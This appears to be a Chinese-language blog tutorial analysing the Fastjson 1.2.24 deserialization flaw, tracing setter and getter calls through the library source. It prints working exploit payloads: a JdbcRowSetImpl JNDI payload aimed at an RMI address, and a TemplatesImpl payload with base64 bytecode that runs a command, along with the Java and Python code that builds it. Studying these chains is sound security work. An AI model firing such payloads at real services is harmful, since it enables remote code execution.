Fastjson反序列化分析
在进行fastjson反序列化前,我们要先看看为什么fastjson解析会有反序列化的漏洞,我们先来做一个正常的类,并对其使用json解析,这里我们使用1.2.24版本作为演示
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
首先来一个正常一点的用户类(符合JavaBean要求)
package org.example;
public class User {
private String username;
private String password;
public User(String username,String password){
this.username=username;
this.password=password;
}
public User() {
}
public String getUsername() {
System.out.println("getUsername");
return username;
}
public void setUsername(String username) {
System.out.println("setUsername");
this.username = username;
}
public String getPassword() {
System.out.println("getPassword");
return password;
}
public void setPassword(String password) {
System.out.println("setPassword");
this.password = password;
}
}
写个test调用一下
package org.example;
import com.alibaba.fastjson.JSON;
public class test {
public static void main(String[] args) {
User user=new User("Jlan","FXXKpassword");
String json= JSON.toJSONString(user);
System.out.println(json);
}
}
//getPassword
//getUsername
//{"password":"FXXKpassword","username":"Jlan"}
//输出结果可见调用了getter方法
我们再来看三种不同的解析方法会对类做什么处理
可以看到除了我们指定好类的情况下变量为对应的类,剩下的情况都是JSONObject类(废话),那我们在来看看在json中加入@type参数是什么效果
可以看到这次parse方法和指定类的parseObject方法都转换出了正确的类并且调用了setter方法,但是不指定类的parseObject方法却先调用了setter方法后调用了getter方法,这是为什么呢,我们跟入其源码看一下
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
可以看到其先调用了parse方法(setter被调用),然后判断这个对象是否是JSONObject对象,如果不是就调用toJSON将其转为JSONObject(getter被调用)
那现在又有一个问题,如果@type和parseObject传入的类不相同怎么办,我们先建立一个和User完全一致的Users类(名字不一样哈)
意料之中,直接报错(大家也可以试试使用Object.class,这是成功的,怀疑是先进行prase再尝试进行转换)
那么下面我们来看这个版本利用的两条getter或setter链
com.sun.rowset.JdbcRowSetImpl
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
这就是反序列化的关键类了,我们跟入看看里面的内容,由于在进行json解析的时候调用的是setter方法,那么我们就在上面两个属性的set方法上打断点
对于dataSourceName
没什么,就是一个单纯的设定了一下属性,我们继续看autoCommit
这里的set首先对conn的状态进行了判定,如果现在有一个连接那么就直接调用conn属性的setAutoCommit方法,反之就要先调用本对象的connect方法,我们跟入看看
首先尝试获取DataSourceName的内容,并对其执行lookup方法,而lookup方法就是用于远程加载类的,所以此时我们的恶意类就被加载进去了,实现RCE
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
又来了,字节码加载又来了
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}